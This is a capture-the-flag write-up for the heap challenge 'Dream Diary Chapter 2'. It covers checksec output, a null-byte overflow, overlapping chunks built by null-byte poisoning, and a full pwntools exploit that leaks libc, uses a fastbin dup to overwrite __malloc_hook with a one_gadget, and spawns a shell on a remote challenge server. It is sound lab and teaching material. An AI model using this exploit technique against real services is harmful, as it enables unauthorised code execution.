Dream Diary - Chapter 2

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Dream Diary Chapter 2/pwn_dreamdiary2/challenge]
└─$ checksec dreamdiary2
[*] '/home/vigneswar/Pwn/Dream Diary Chapter 2/pwn_dreamdiary2/challenge/dreamdiary2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

2) Bug
i) Found null byte overflow vulnerability

```
malloc(0x18, b'a'*0x18)
malloc(0x18, b'a'*0x18)
edit(0, b'a'*0x20)
```

```
pwndbg> vis

0x15f5000       0x0000000000000000      0x0000000000000021      ........!....
...
0x15f5010       0x0000000000000018      0x00000000015f5030      ........0P_..
...
0x15f5020       0x0000000000000000      0x0000000000000021      ........!....
...
0x15f5030       0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaa
aaa
pwndbg> x/20a 0x15f5000
0x15f5000:      0x0     0x21
0x15f5010:      0x18    0x15f5030
0x15f5020:      0x0     0x21
0x15f5030:      0x6161616161616161      0x6161616161616161
0x15f5040:      0x6161616161616161      0x0
0x15f5050:      0x18    0x15f5070
0x15f5060:      0x0     0x21
0x15f5070:      0x6161616161616161      0x6161616161616161
0x15f5080:      0x6161616161616161      0x20f81
0x15f5090:      0x0     0x0
pwndbg>
```

3) Exploitation
i) We can use null byte poisoning technique to create overlapping chunks then followed by a fastbin dup attack

a) First we create 4 chunks

A - 0x100
B - 0x210
C - 0x100
D - 0x100 (consolidation guard)

b) Next we free B

A - 0x100
B - 0x210 (freed)
C - 0x100
D - 0x100

c) Next we use nullbyte poisoning to change the size of freed chunk B

A - 0x100
B - 0x200 (0x10 -> 0x00) (freed)
X - 0x10 (gap)
C - 0x100
D - 0x100

d) Next we allocate 2 chunks from B

A - 0x100
B_1 - 0x100
B_2 - 0x100
X - 0x10
C - 0x100
D - 0x100

e) We free B_1

A - 0x100
B_1 - 0x100 (freed)
B_2 - 0x100
X - 0x10
C - 0x100
D - 0x100

f) Now we free C, which still points to B_1 as previous chunk because of our null byte poisoning, now C is backward consolidated with B_1

A - 0x100
B_1 - 0x300 (freed)
B_2 - 0x100 (recognized by malloc as free)
D - 0x100

Now we can allocate chunks from B_1 unsorted bin which will overlap B_2 granting us UAF

4) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./dreamdiary2_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.23.so")
```

```
context.binary = exe

# io = gdb.debug(exe.path, 'c', api=True)
io = remote(b'94.237.49.212', 31389)

def malloc(size, data=b'a'*8):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'Size: ', str(size).encode())
    io.sendafter(b'Data: ', data)

def edit(idx, data):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendafter(b'Data: ', data)

def free(idx):
    io.sendlineafter(b'>> ', b'3')
    io.sendlineafter(b'Index: ', str(idx).encode())

def dump(idx):
    io.sendlineafter(b'>> ', b'4')
    io.sendlineafter(b'Index: ', str(idx).encode())
    size = io.recvuntil(b' | ', drop=True)
    data = io.recvuntil(b'+-', drop=True)
    return size, data

# leak addresses
malloc(0x88, b'a'*8)          # 0
malloc(0x88, b'b'*8)          # 1
malloc(0x18, b'c'*8)          # 2 (guard)
free(0)
free(1)
malloc(0x88, b'\x78')         # 0
size, data = dump(0)
libc.address = unpack(data.strip().strip(b'Data: '), 'all')-0x3c4b78
free(0)
malloc(0x88, b'a'*8)          # 0
size, data = dump(0)
heap_address = unpack(b'\x00'+data.strip(b'Data: aaaaaaaa')[:-2], 'all')
free(0)

print(f"Heap leak: 0x{heap_address:x} Libc leak: 0x{libc.address:x}")

array = 0x6020c0

# create some fastbin chunks to clear
malloc(0x18)                  # 0
malloc(0x18)                  # 1
malloc(0x18)                  # 2
free(0)
free(1)
free(2)

# create overlapping chunks
malloc(0xf8)                  # 0
malloc(0x208, b'a'*0x1f0+p64(0x200)) # 1
malloc(0xf8)                  # 2
malloc(0xf8)                  # 3 (guard)
free(1)
```

```
edit(0, b'a'*0xf8)
malloc(0xf8)
malloc(0xf8)
free(1)
free(2)
malloc(0xf8)
malloc(0x68)


# fastbindup
free(2)
edit(5, p64(libc.address+0x3c4aed))
malloc(0x68)
malloc(0x68, b'\x00'*19+p64(libc.address+0x4527a ))
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'Size: ', b'1337')

io.interactive()
```

5) Flag